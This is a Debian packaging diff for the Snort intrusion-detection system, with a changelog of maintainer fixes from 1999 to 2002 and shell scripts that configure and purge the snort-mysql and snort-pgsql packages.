+      Reported against version 1.7-9, and it seems to be fixed now.
+    + Closes: #109135, #117010
+    * Typo. Fixed.
+    + Closes: #104447
+    * Ooooooh ns.somehost.tld is portscanning me!   Add the nameservers
+      to the DNS_SERVER value in snort.conf. Although I think this was fixed
+      in 1.8.4beta2
+    + Closes: #116169
+    * I added 1 or 2 lines of short descriptive text to each package's
+      description. It should be more clear now.
+    + Closes: #67176, #130242, #133591, #79095, #102320
+    * These are left-over bugs. Fixed in earlier releases.
+    + Closes: #128689, #131049
+    * Fixed the init.d script so that it doesn't say "already started" on
+      errors. Snort returns 0(good) or 1(bad), not 2.
+    + Closes: #143268
+    * The supplied patch didn't contain any valid patchable entries. The
+      script has changed that much that I assume it has been fixed already.
+  * Thanks, smeenk :)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Fri, 19 Apr 2002 16:21:35 +0200
+
+snort (1.8.4beta1-2) unstable; urgency=low
+
+  * Fixed 'Depends:' of 'snort' package to depend on new-style snort-common
+    package. (Closes: #131730)
+  * Marked some /etc/ files as conffiles (Closes: #132823)
+  * Fixed build problems on some arches (Closes: #132912, #131741)
+  * Fixed quoting error in virus.rules (Closes: #131947)
+  * Fixed snort-common Replaces: line (Closes: #131701, #133106)
+  * Removed snort.debian.conf from the package (Closes: #132517)
+  * Fixed initscript to allow for multiple subnets (Closes: #125686) 
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun, 10 Feb 2002 16:11:55 +0100
+
+snort (1.8.4beta1-1) unstable; urgency=low
+
+  * New upstream release (Closes: #131517, #106093, #115955, #118270, #127564)
+  * Moved config stuff to snort-common (Closes: #109862)
+  * Fixed debconf instuctions for dialup (Closes: #113250)
+  * Fixed snort-stat (Closes: #115873, #116964)
+  * New upstream has icmp-info rules reordered (Closes: #111832)
+  * Gave 'count' a bit more room in email reports (Closes: #102657)
+  * Fixed snort cron script to not kill snort in dialup mode (Closes: #97950)
+  * Fixed snort cron script to not send empty emails (Closes: #112100,#117079)
+  * Fixed HOME_NET variable passing in init script (Closes: #117886)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun, 10 Feb 2002 15:41:40 +0100
+
+snort (1.8p1-1) unstable; urgency=low
+
+  * New upstream release
+  * Depend on system-log-daemon|syslogd (Closes: #102511)
+  * Fixed snort-stat empty log reports (Closes: #107515, #98944, #103542)
+  * Fixed logfile pattern (Closes: #102787)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Tue, 14 Aug 2001 20:37:43 +0200
+
+snort (1.7-9) unstable; urgency=low
+
+  * Removed 'snort.debian.conf' from the 'conffiles' to avoid it being
+    replaced. (Closes: #96950)
+  * Fixed a lot of errors in the manpage. (Closes: #99873, #101868)
+  * Removed '-s' option, and enabled logging to syslog in snort.conf.
+    (Closes: #101873)
+  * Fixed inconsequent ip-up.d and init.d behaviour (Closes: #101874)
+  * Added pt_BR support (Closes: #93219)
+  * Make snort stop before purging/removing.
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun, 15 Jul 2001 14:04:35 +0200
+
+snort (1.7-8) unstable; urgency=low
+
+  * Have snort depend on system-log-daemon (Closes: #99203)
+  * Changed package description (Closes: #99302)
+  * Changed debconf 'extra options' question (Closes: #99303)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun, 17 Jun 2001 19:16:59 +0200
+
+snort (1.7-7) unstable; urgency=low
+
+  * Added a modified version of 'snort-stat', from Christian Hammers
+    (Closes: #93739)
+  * Changed '5snort' to do syslogd-listfiles --auth, to correctly list
+    logfiles using the 'auth' facility. (Closes: #97467)
+  * Modified crontab file to correctly keep /var/log/snort clean.
+    (Closes: #97465, #97003)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Tue, 15 May 2001 20:40:03 +0200
+
+snort (1.7-6) unstable; urgency=low
+
+  * Added more paths in /etc/init.d/snort (Closes: #94651)
+  * Removed non-US dependency on libssl096 (Closes: #92748)
+  * Fixed old man-page synopsis bug (Closes: #90889)
+  * Added 'please restart' notice for dialup users that upgrade(Closes: #90979).
+  * Fixed 'snort.conf' indiscrepancy (comma-seperated versus
+    whitespace-separated)  (Closes: #93742)
+  * Added '-d' option for startup (Closes: #78667)
+  * Added snort FAQ (Closes: #91219) 
+
+ -- Robert van der Meulen <rvdm@debian.org>  Mon, 30 Apr 2001 01:34:25 +0200
+
+snort (1.7-5) unstable; urgency=low
+
+  * fixed no-pidfile bug when using dialup interfaces. (Closes: #89133)
+  * forgot to close host-timeout bug (Closes: #87838)
+  * Removed bashisms from cron script (Closes: #88596)
+  * Fixed start-stop-daemon paths in init.d script (Closes: #88678)
+  * Corrected multiple -i startup option typo (Closes: #89131)
+  * Added mysql support (Closes: #89840)
+  * Applied 'unaligned trap on alpha' patches from Paul Slootman
+    (Closes: #85684, #81092)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Thu, 22 Mar 2001 22:40:51 +0100
+
+snort (1.7-4) unstable; urgency=low
+
+  * lets-fix-lots-of-bugs release
+  * Fixed snort-stat:
+    - output is now 79 chars wide. (Closes: #70649)
+    - output written to tempfile first, to work around 'host' timing out
+      sometimes. (Closes: #74937)
+  * There is no 'WARNING' message on startup, anymore (Closes: #79289)
+  * Fixed crontab script to reflect /var/log/portscan.log ->
+    /var/log/snort/portscan.log change. (Closes: #85571)
+  * Fixed syntax error in cron file (*shame*) (Closes: #85686)
+  * added check for existence of /var/log/snort/portscan.log in
+    cron file (Closes: #86596 )
+  * Fixed syslog dependency problem (syslogd|syslog-ng) (Closes: #85807)
+  * Changed crontab file to allow for multiple auth.* files (Closes: #84183)
+  * Snort doesn't crash on empty logfiles. (Closes: #85284 )
+  * Snort generates correct snort-stat messages on a dialup link now.
+    (Closes: #82504)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Fri,  2 Mar 2001 23:32:40 +0100
+
+snort (1.7-3) unstable; urgency=low
+
+  * Fixed a couple of bugs in the startup scripts for dialup. Closes: #85201
+  * Made postinst modify /etc/snort/snort.debian.conf.  Closes: #85156
+  * 'hardwired' /etc/ppp/ip-up.d/snort to use the PPP interface. Closes: #85218
+  * Fixed problem with multiple 'auth' logfiles. Closes: #84316
+
+ -- Robert van der Meulen <rvdm@debian.org>  Fri,  9 Feb 2001 23:47:19 +0100
+
+snort (1.7-2) unstable; urgency=low
+
+  * Fixed a small bug in the cron.daily script; snort.conf -> snort.debian.conf
+
+ -- Robert van der Meulen <rvdm@debian.org>  Tue,  6 Feb 2001 23:47:31 +0100
+
+snort (1.7-1) unstable; urgency=low
+
+  * New upstream version.
+  * New maintainer
+  * Moved /etc/snort/snort-lib to /etc/snort/snort.conf
+    /etc/snort/snort.conf was a script to set DEBIAN config variables,
+    it now is the base rule file.
+    /etc/snort/snort.debian.conf does the 'old' job.
+  * modified startup parameters for 'new style'
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun,  4 Feb 2001 23:31:02 +0100
+
+snort (1.6.3a-5) unstable; urgency=low
+
+  * Accidently typed "echo" instead of "kill" in init script. Closes: #84345
+
+ -- Christian Hammers <ch@debian.org>  Thu,  1 Feb 2001 11:05:16 +0100
+
+snort (1.6.3a-4) unstable; urgency=low
+
+  * Enhanced init.d script. Fixes problems with cron rotations.
+  * Now depends on debhelper. Closes: #75462
+  * Added german translation for debconf menus. Closes: #83873
+  * Is no longer accidently a "native Debian" package. Closes: #82097
+  * Problem with libmysqlclient.so.9 fixed long ago. Closes: #74798, 74806
+  * Debconf should be work fine now. Closes: #59726, #70711
+  * Adopted new homepage URL. Closes: #69805 
+  * Problem no longer reproducable. Closes: #67732, #67734
+  * Added dependency to the virtual package "syslogd". Closes: #84183
+
+ -- Christian Hammers <ch@debian.org>  Wed, 31 Jan 2001 00:38:22 +0100
+
+snort (1.6.3a-3) unstable; urgency=low
+
+  * Changed the "interface" debconf question to medium. Closes: #80996
+
+ -- Christian Hammers <ch@debian.org>  Wed, 31 Jan 2001 00:10:01 +0100
+
+snort (1.6.3a-2) testing unstable; urgency=low
+
+  * Ok, forgot the ">/dev/null" after a savelog cron command... 
+
+ -- Christian Hammers <ch@debian.org>  Sun, 31 Dec 2000 01:11:37 +0100
+
+snort (1.6.3a-1) testing unstable; urgency=low
+
+  * This is still 1.6.3!
+    Somehow the .orig.tar.gz got renamed so I have to make a new
+    -1 upload. 
+  * Added rotation of /var/log/portscan.log. Closes: #80864 
+
+ -- Christian Hammers <ch@debian.org>  Sat, 30 Dec 2000 17:52:58 +0100
+
+snort (1.6.3-8) unstable; urgency=low
+
+  * writed more good english in debconf template. Closes: #78367
+  * Adjusted debconf question for email recipient to "medium".
+
+ -- Christian Hammers <ch@debian.org>  Fri,  1 Dec 2000 20:01:38 +0100
+
+snort (1.6.3-7) unstable; urgency=low
+
+  * Recompiled against new kernel to handle pppeo.
+    (requested by jeffml@pobox.com)
+
+ -- Christian Hammers <ch@debian.org>  Sun, 26 Nov 2000 14:55:25 +0100
+
+snort (1.6.3-6) unstable; urgency=low
+
+  * Added debhelper to build depends. Closes #75462
+
+ -- Christian Hammers <ch@debian.org>  Wed, 25 Oct 2000 10:51:23 +0200
+
+snort (1.6.3-5) unstable; urgency=medium
+
+  * Recompiled against libmysqlclient10. 
+
+ -- Christian Hammers <ch@debian.org>  Tue, 17 Oct 2000 11:00:11 +0200
+
+snort (1.6.3-4) unstable; urgency=low
+
+  * Added dependencies to adduser >= 3.11. Closes: #69425
+
+ -- Christian Hammers <ch@debian.org>  Sun, 20 Aug 2000 08:53:50 +0200
+
+snort (1.6.3-3) unstable; urgency=low
+
+  * Made postinst/preinst idempotent. Closes: 67732, 67734
+
+ -- Christian Hammers <ch@debian.org>  Sun, 20 Aug 2000 08:53:37 +0200
+
+snort (1.6.3-2) unstable; urgency=low
+
+  * Disabled defrag-preprocessor due to upstream bugs. 
+
+ -- Christian Hammers <ch@debian.org>  Mon, 24 Jul 2000 17:21:18 +0200
+
+snort (1.6.3-1) unstable; urgency=low
+
+  * New upstream release.
+  * Now chrooted to /var/log/snort and running as snort:snort!
+  * More scan detections added.
+  * Applied fixed from Ian Zimmerman. Thanks. Closes: #66057
+
+ -- Christian Hammers <ch@debian.org>  Sun, 23 Jul 2000 14:11:50 +0200
+
+snort (1.6.2.2-1) unstable; urgency=low
+
+  * New upstream release 1.6.2.2. Minor patches. 
+
+ -- Christian Hammers <ch@debian.org>  Sun,  9 Jul 2000 23:21:16 +0200
+
+snort (1.6.1-1) unstable; urgency=low
+
+  * Many new scans for known vulnerabilities included!
+
+ -- Christian Hammers <ch@debian.org>  Sat,  8 Jul 2000 17:06:47 +0200
+
+snort (1.6-1) unstable; urgency=low
+
+  * New upstream major release.
+
+ -- Christian Hammers <ch@debian.org>  Tue,  4 Jul 2000 18:40:34 +0200
+
+snort (1.5.1-12) unstable; urgency=low
+
+  * Removed warning for port 53 source port traffic because old BINDs
+    generated them. Closes: #65107
+
+ -- Christian Hammers <ch@debian.org>  Tue,  6 Jun 2000 19:07:06 +0200
+
+snort (1.5.1-11) frozen unstable; urgency=low
+
+  * Package could not be build on powerpc because there were some
+    obsolete AM_PROG_INSTALL (now AC_PROG_INSTALL) statements in
+    aclocal.m4. Closes: #57916
+  * Improved documentation about reading the tcpdump-style binary log 
+    file. Closes: #57789
+
+ -- Christian Hammers <ch@debian.org>  Sun, 13 Feb 2000 18:23:58 +0100
+
+snort (1.5.1-10) frozen unstable; urgency=low
+
+  * Make sure that snort's cron.daily script gets renamed to the new
+    name in snort.preinst so that it won't be called twice.
+
+ -- Christian Hammers <ch@debian.org>  Wed,  9 Feb 2000 12:37:53 +0100
+
+snort (1.5.1-9) frozen unstable; urgency=low
+
+  * Argh! Forgot to remove a malicious line in cron.daily. Closes: #57611 
+
+ -- Christian Hammers <ch@debian.org>  Wed,  9 Feb 2000 11:10:53 +0100
+
+snort (1.5.1-8) frozen unstable; urgency=low
+
+  * Added "exit 0" to cron.daily script.
+
+ -- Christian Hammers <ch@debian.org>  Sat,  5 Feb 2000 16:07:05 +0100
+
+snort (1.5.1-7) frozen unstable; urgency=low
+
+  * Applied upstream patch to get binary mode working.
+    Now this is really 1.5.1 and not 1.5patch1, btw.
+  * switched logging to tcpdump compatible binary mode so that
+    snort is usable on 100MBit networks. Closes: #55949
+  * fixed daily report of the weekly rotated auth.log. Closes: #56476
+  * cron job restarts snort correctly. Closes: #56608
+  * postinst should start snort only if $startup=="boot".
+  * sanified snort.config (thank to Mario Holbe, again)
+  * removed debconf-bug compatibility. Closes: #54990
+
+ -- Christian Hammers <ch@debian.org>  Sat, 29 Jan 2000 17:57:34 +0100
+
+snort (1.5.1-5) frozen unstable; urgency=low
+
+  * User may only enter one interface and no comma seperated list that
+    confuses the postscript, too. Closes: #55567
+  * Explained a debconf question. Closes: #55568
+  * Fixed email address in copyright.
+  * uncommented all backdoor-lib rules that do only whatch for a
+    port >=1024, ignoring the content since they produce too much
+    false-positives. (as requested by chirik@castlefur.com)
+  * Added a note that this isn't actually 1.5.1 but 1.5patch1. 
+  * Included "real" manpage that upstream author wrote.
+
+ -- Christian Hammers <ch@debian.org>  Sat, 22 Jan 2000 15:30:32 +0100
+
+snort (1.5.1-4) frozen unstable; urgency=low
+
+  * Workaroung for debconf bug (#55317).
+  * Do not ask user for IP range when using dialup-mode.
+    (They normally wouldn't know!)
+  * 
+
+ -- Christian Hammers <ch@debian.org>  Sat, 22 Jan 2000 15:00:25 +0100
+
+snort (1.5.1-3) frozen unstable; urgency=medium
+
+  * Fixed cron script. Closes: #54553
+  * The following was done by --- Mario Holbe --- thanks again!
+  * Fixed quoting of metacharacters in postinst. Closes: #54984
+  * replaced the snort.options thingy by a sh-based snort.conf                                                    
+    - removed it from snort-lib                                                                                   
+    - changed the README.Maintainer comment                                                                       
+    - changed rule for it                                                                                         
+    - created snort.conf with slightly beautified variables                                                       
+  * modified ip-down.d to work with new snort.conf                                                                
+  * modified ip-up.d to work with new snort.conf                                                                  
+  * modified snort.init.d to work with new snort.conf Closes: #54553                                              
+    - this closes some bugs in 1.5.1-2, which i've not submitted :-)                                              
+  * modified snort-stat to work with new snort.conf Closes: #54555                                                
+  * modified snort.cron.daily to work with new snort.conf/snort-stat                                              
+  * added new snort/stats_treshold to snort.templates                                                             
+  * modified snort.config to work with new config variable                                                        
+  * modified snort.postinst to work with new snort.conf                                                           
+  * modified snort.postrm to remove snort.conf if purge                                                           
+  * all over all: did some beauifying :)                                                                          
+
+ -- Christian Hammers <ch@debian.org>  Fri, 14 Jan 2000 21:09:42 +0100
+
+snort (1.5.1-2) unstable; urgency=low
+
+  * I was diligently and added five more debconf options :) Closing: #54227
+    - receipient of the daily statistic mail
+    - start at boot/ip-up/manual
+    - interface
+    - promiscuous mode
+    - reverse order
+  * Enhanced the snort-stat script with help from Mario Holbe. Closes: #54369
+
+ -- Christian Hammers <ch@debian.org>  Fri, 14 Jan 2000 21:09:36 +0100
+
+snort (1.5.1-1) unstable; urgency=low
+
+  * Fixed cron script with the new logging method.
+    Closes: #54226, #54275
+  * Applied upstream patch1 and one from the mailing list.
+    Closes: #54225, #54224
+  * Added README.Debian with a small FAQ.
+  * Changed configuration and added a /etc/snort/snort.options file.
+
+ -- Christian Hammers <ch@debian.org>  Tue, 11 Jan 2000 22:56:33 +0100
+
+snort (1.5-2) unstable; urgency=low
+
+  * Fixed typo. Closes: #54269 
+
+ -- Christian Hammers <ch@debian.org>  Sun,  9 Jan 2000 18:58:45 +0100
+
+snort (1.5-1) unstable; urgency=low
+
+  * New upstream release.
+    Features speed burst and modularization of the rules file.
+  * Now using syslog facility to log to /var/log/auth.log.
+    (Details are still available in /var/log/snort/)
+  * Daily generation of scan statistic via cron script.
+
+ -- Christian Hammers <ch@debian.org>  Sun,  9 Jan 2000 18:58:39 +0100
+
+snort (1.3.1-8) unstable; urgency=low
+
+  * Sorry, future timestamps in package. Closes: #51848
+    (too much Y2K testing, I guess)
+
+ -- Christian Hammers <ch@debian.org>  Sun,  5 Dec 1999 16:49:56 +0100
+
+snort (1.3.1-7) unstable; urgency=medium
+
+  * Changed prio to high since it's an grave bug that was closed.
+  * Closes: #51130 
+
+ -- Christian Hammers <ch@debian.org>  Tue, 15 Feb 2000 00:34:59 +0100
+
+snort (1.3.1-6) unstable; urgency=medium
+
+  * Snort stalles after installation due to debconf misuse.
+  * Closes: #51130
+
+ -- Christian Hammers <ch@debian.org>  Wed, 24 Nov 1999 00:29:39 +0100
+
+snort (1.3.1-5) unstable; urgency=low
+
+  * Added debconf support to enter address range. 
+
+ -- Christian Hammers <ch@debian.org>  Mon, 22 Nov 1999 20:13:41 +0100
+
+snort (1.3.1-4) unstable; urgency=low
+
+  * Extended archiving of log files. Closes: #50176 
+
+ -- Christian Hammers <ch@debian.org>  Mon, 22 Nov 1999 00:56:38 +0100
+
+snort (1.3.1-3) unstable; urgency=low
+
+  * Registered cron script as config file. Closes: #48391
+
+ -- Christian Hammers <ch@debian.org>  Wed, 27 Oct 1999 18:36:06 +0200
+
+snort (1.3.1-2) unstable; urgency=low
+
+  * Added the non-promiscuous flag (-p) to the man-page. 
+
+ -- Christian Hammers <ch@debian.org>  Sun, 24 Oct 1999 18:52:20 +0200
+
+snort (1.3.1-1) unstable; urgency=low
+
+  * New upstream version. 
+  * Many bugfixes.
+
+ -- Christian Hammers <ch@debian.org>  Thu, 14 Oct 1999 00:20:35 +0200
+
+snort (1.2.1-3) unstable; urgency=low
+
+  * Included the LISA'99 Conference paper as documentation.
+  * FHS compliant.
+  * Improved /etc/cron.daily script. Fixes: #44568.
+
+ -- Christian Hammers <ch@debian.org>  Fri, 10 Sep 1999 01:55:22 +0200
+
+snort (1.2.1-2) unstable; urgency=low
+
+  * Added a nice manpage (thanks to Peter T. Breuer). Closes #44127. 
+
+ -- Christian Hammers <ch@debian.org>  Tue,  7 Sep 1999 17:15:51 +0200
+
+snort (1.2.1-1) unstable; urgency=low
+
+  * New upstream release with fixes and speed improvement. (fixes: #43049)
+
+ -- Christian Hammers <ch@debian.org>  Mon, 30 Aug 1999 21:15:10 +0200
+
+snort (1.2-2) unstable; urgency=low
+
+  * Made cron.daily a bit quieter. (fixes: #43049) 
+
+ -- Christian Hammers <ch@debian.org>  Mon, 16 Aug 1999 23:05:16 +0200
+
+snort (1.2-1) unstable; urgency=low
+
+  * New upstream version with great performance improve.
+
+ -- Christian Hammers <ch@debian.org>  Mon,  2 Aug 1999 20:37:09 +0200
+
+snort (1.1-2) unstable; urgency=low
+
+  * Made better default IP in config file and fixed typo.
+
+ -- Christian Hammers <ch@debian.org>  Tue, 13 Jul 1999 00:02:48 +0200
+
+snort (1.1-1) unstable; urgency=low
+
+  * Initial Release.
+
+ -- Christian Hammers <ch@debian.org>  Mon, 12 Jul 1999 21:30:57 +0200
+
--- snort-2.8.5.2.orig/debian/snort-pgsql.postrm
+++ snort-2.8.5.2/debian/snort-pgsql.postrm
@@ -0,0 +1,66 @@
+#! /bin/sh
+# postrm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+# TODO : Should use /etc/default/snort definitions?
+
+case "$1" in
+       purge|disappear)
+       		# Remove logfiles
+		rm -rf /var/log/snort/
+		
+		# Remove configuration
+		if [ -e /etc/snort/snort.debian.conf ] ; then
+			rm /etc/snort/snort.debian.conf
+		fi
+		if [ -e /etc/snort/snort.common.parameters ] ; then
+			rm /etc/snort/snort.common.parameters
+		fi
+		if [ -e /etc/default/snort ] ; then
+			rm /etc/default/snort
+		fi
+		if [ -e /etc/snort/db-pending-config ] ; then
+			rm /etc/snort/db-pending-config
+		fi
+
+		# Remove configuration dir
+		[ -d /etc/snort ] && rmdir --ignore-fail-on-non-empty /etc/snort
+		
+		# Remove init.d
+		update-rc.d -f snort remove >/dev/null
+
+		# Remove user/group
+		if ! getent passwd | grep -q "^snort:"; then
+			userdel snort 2>/dev/null || true
+		fi
+		if ! getent group | grep -q "^snort:" ; then
+			delgroup --only-if-empty snort 2>/dev/null || true
+		fi
+		;;
+       remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		# nothing
+		# We may not delete the user snort, as there may be
+		# files owned by it in /var/log/snort and /etc/snort.
+        	;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+
--- snort-2.8.5.2.orig/debian/snort-common.manpages
+++ snort-2.8.5.2/debian/snort-common.manpages
@@ -0,0 +1 @@
+debian/snort-stat.8
--- snort-2.8.5.2.orig/debian/snort-mysql.postinst
+++ snort-2.8.5.2/debian/snort-mysql.postinst
@@ -0,0 +1,260 @@
+#!/bin/sh -e
+
+CONFIG=/etc/snort/snort.debian.conf
+
+. /usr/share/debconf/confmodule
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# summary of how this script can be called:
+#        * <postinst> `configure' <most-recently-configured-version>
+#        * <old-postinst> `abort-upgrade' <new version>
+#        * <conflictor's-postinst> `abort-remove' `in-favour' <package>
+#          <new-version>
+#        * <deconfigured's-postinst> `abort-deconfigure' `in-favour'
+#          <failed-install-package> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+#
+# quoting from the policy:
+#     Any necessary prompting should almost always be confined to the
+#     post-installation script, and should be protected with a conditional
+#     so that unnecessary prompting doesn't happen if a package's
+#     installation fails and the `postinst' is called with `abort-upgrade',
+#     `abort-remove' or `abort-deconfigure'.
+
+case "$1" in
+    install)
+	;;
+    upgrade)
+	db_get snort-mysql/startup || true
+	if [ "$RET" = "manual" ]; then
+		#db_fset snort-mysql/please_restart_manually seen false
+		db_beginblock
+		db_input high snort-mysql/please_restart_manually || true
+		db_endblock
+		db_go
+		db_stop
+	fi
+	;;
+    configure)
+	# edit config file
+	db_get snort-mysql/startup || true; 		STARTUP=$RET
+	db_get snort-mysql/interface || true; 	INTERFACE="$RET"
+	db_get snort-mysql/address_range || true;	ADDRESS_RANGE="$RET"
+	db_get snort-mysql/disable_promiscuous || true; DISABLE_PROMISCUOUS=$RET
+        db_get snort-mysql/send_stats || true;        STATS_SEND="$RET"
+	db_get snort-mysql/stats_rcpt || true;	STATS_RCPT="$RET"
+	db_get snort-mysql/stats_treshold || true;	STATS_THRESHOLD="$RET"
+	db_get snort-mysql/options || true;		OPTIONS="$RET"
+
+	test "$DISABLE_PROMISCUOUS" = "true" && OPTIONS="$OPTIONS -p"
+	# Failsafe in case the values above are blank (jfs)
+	[ -z "$STATS_RCPT" ] && STATS_RCPT=root
+	[ -z "$STATS_THRESHOLD" ] && STATS_THRESHOLD=1
+	#STATS_RCPT=`echo "$STATS_RCPT" | sed -e 's/@/\\\\@/g' -e 's/,/\\\\,/g'`
+
+	cat <<EOF >$CONFIG
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort" to change them.
+
+DEBIAN_SNORT_STARTUP="$STARTUP"
+DEBIAN_SNORT_HOME_NET="$ADDRESS_RANGE"
+DEBIAN_SNORT_OPTIONS="$OPTIONS"
+DEBIAN_SNORT_INTERFACE="$INTERFACE"
+DEBIAN_SNORT_SEND_STATS="$STATS_SEND"
+DEBIAN_SNORT_STATS_RCPT="$STATS_RCPT"
+DEBIAN_SNORT_STATS_THRESHOLD="$STATS_THRESHOLD"
+EOF
+
+	if [ -e /etc/snort/db-pending-config ] ; then
+	  STARTUP="manual"
+	  echo
+	  echo "/etc/snort/db-pending-config file found"
+	  echo "Snort will not start as its database is not yet configured."
+	  echo "Please configure the database as described in"
+	  echo "/usr/share/doc/snort-mysql/README-database.Debian"
+	  echo "and then remove /etc/snort/db-pending-config"
+	fi
+
+	if [ "$STARTUP" != "manual" ]; then
+	  if [ -f /etc/snort/snort.conf ]; then
+		# insert database config stuff in the configuration file,
+		# or configure it for syslog-logging.
+		db_get snort-mysql/configure_db
+		if  [ "$RET" = "true" ]; then
+			db_get snort-mysql/db_host || true; DB_HOST=$RET
+			db_get snort-mysql/db_database || true; DB_DATABASE=$RET
+			db_get snort-mysql/db_user || true; DB_USER=$RET
+			db_get snort-mysql/db_pass || true; DB_PASS=$RET
+
+			# Here we put the database stuff in the config file.
+			TEMPFILE=`mktemp`
+			cat /etc/snort/snort.conf | while read LINE
+			do
+				if [ "$LINE" = "# (#DBSTART#)" ]
+				then
+					echo "# (#DBSTART#)" >> $TEMPFILE
+					echo -n "output database: log, mysql, " >> $TEMPFILE
+					if [ $DB_USER ]
+					then
+						echo -n "user=$DB_USER " >> $TEMPFILE
+					fi
+					if [ $DB_PASS ]
+					then
+						echo -n "password=$DB_PASS " >> $TEMPFILE
+					fi
+					if [ $DB_DATABASE ]
+					then
+						echo -n "dbname=$DB_DATABASE " >> $TEMPFILE
+					fi
+					if [ $DB_HOST ]
+					then
+						echo -n "host=$DB_HOST " >> $TEMPFILE
+					fi
+					echo " " >> $TEMPFILE
+					echo "# (#DBEND#)" >> $TEMPFILE
+					break
+				else
+					echo $LINE >> $TEMPFILE
+				fi
+			done
+
+			WRITE=0
+			cat /etc/snort/snort.conf | while read LINE
+			do
+				if [ $WRITE -eq 1 ]
+				then
+					echo $LINE >> $TEMPFILE
+				fi
+
+				if [ "$LINE" = "# (#DBEND#)" ]
+				then
+					WRITE=1
+				fi
+			done
+			mv -f $TEMPFILE /etc/snort/snort.conf
+		fi
+
+		# Ensure the config file is readable by root.root and mode 600
+		if ! dpkg-statoverride --list /etc/snort/snort.conf >/dev/null
+		then
+			chown root:snort /etc/snort/snort.conf
+			chmod 640 /etc/snort/snort.conf
+		fi
+	  fi
+	fi
+	db_stop
+
+	# Check for left-over files from woody packages.
+	OLDCONF=/etc/snort/snort.rules.conf
+	if [ -f $OLDCONF ]; then
+		mv $OLDCONF $OLDCONF.OBSOLETE
+	fi
+
+	# Update the rc.d's
+	update-rc.d snort defaults >/dev/null
+
+	# in the case we reconfigure we have to restart and not just to start.
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    abort-upgrade)
+	;;
+    *)
+	echo "postinst called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+if [ "$STARTUP" = "dialup" ]; then
+
+	# Try to guess environments for all pppds we have no .env for...
+	for PPPD_PID in $(pidof pppd ipppd); do
+		# If we got an empty PID (however), we break here
+		test "$PPPD_PID" || continue
+
+		#
+		# This is a lot of shell voodoo, let's try to figure it out:
+		# 1. egrep:
+		#    It greps for our current pppd PID in all pppd and ipppd
+		#    pidfiles.
+		#    It *should* return exactly one file name: the one with
+		#    our current pppd PID in it; however, to be safe, we fence
+		#    it with a head -1.
+		# 2. basename $(egrep ...) .pid:
+		#    It takes the file name from the egrep and strips off its
+		#    path and the .pid suffix
+		# 3. sed:
+		#    Unfortunately the filenames of pppd and ipppd differ:
+		#    pppd uses $INTERFACE.pid, while ipppd uses
+		#    ipppd.$INTERFACE.pid.
+		#    The .pid is already stripped off by basename, thus, we
+		#    just strip off any "ipppd." prefix and end up in the
+		#    plain interface name.
+		#    Maybe pppd decides to change it's pidfile naming
+		#    convention according to ipppd somewhere in the future,
+		#    thus, we use '^i\?pppd\.' (sed eregex) and thus strip
+		#    off all "ipppd." and all "pppd." prefixes. This doesn't
+		#    harm anyways.
+		#    Because of the pppd pidfile naming convention, our
+		#    approach works always with ipppd and mostly with pppd:
+		#    the latter only, if the user did not decide to rename
+		#    his ppp interface to something else than ppp*
+		#    (not possible currently, afaics).
+		#
+		PPP_IFACE=$(basename $(egrep -l "^[[:space:]]*$PPPD_PID[[:space:]]*\$" /var/run/ppp*.pid /var/run/ipppd.*.pid 2> /dev/null | head -1) .pid | sed -e 's/^i\?pppd\.//')
+
+		#
+		# If we got no interface from pidfiles (because there are no
+		# pidfiles, for example), we assume the most common case:
+		# one pppd with default route set.
+		# This is ugly, but there is no other chance. Let's hope,
+		# nobody ever manages multiple pppds without pidfiles for
+		# them.
+		#
+		test "$PPP_IFACE" || PPP_IFACE=$(route -n |	awk '/^0\.0\.0\.0 / { print $8 }')
+
+		# If we couldn't discover an interface name, we break here
+		test "$PPP_IFACE" || continue
+
+		PPP_LOCAL=$(ifconfig $PPP_IFACE | awk '/inet addr:/ { gsub("addr:", ""); print $2 }')
+
+		# If we couldn't discover a local IP, we break here
+		test "$PPP_LOCAL" || continue
+
+		ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+		# If we already have an .env for that interface, we break here
+		test -e "$ENVFILE" && continue
+
+		# Write .env for that interface
+		echo "Creating missing $ENVFILE"
+		echo "PPPD_PID=$PPPD_PID"    > "$ENVFILE"
+		echo "PPP_IFACE=$PPP_IFACE" >> "$ENVFILE"
+		echo "PPP_LOCAL=$PPP_LOCAL" >> "$ENVFILE"
+
+		# If such a snort is still running, just kill it
+		ps -ef | grep /usr/sbin/snort | grep "$PPP_LOCAL" |
+			grep "$PPP_IFACE" | awk '{ print $2 }' |
+			xargs --no-run-if-empty kill -s KILL >/dev/null
+	done
+fi
+
+if [ "$STARTUP" = "boot" ] || [ "$STARTUP" = "dialup" ]; then
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort start || exit $?
+	else
+		/etc/init.d/snort start || exit $?
+	fi
+fi
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
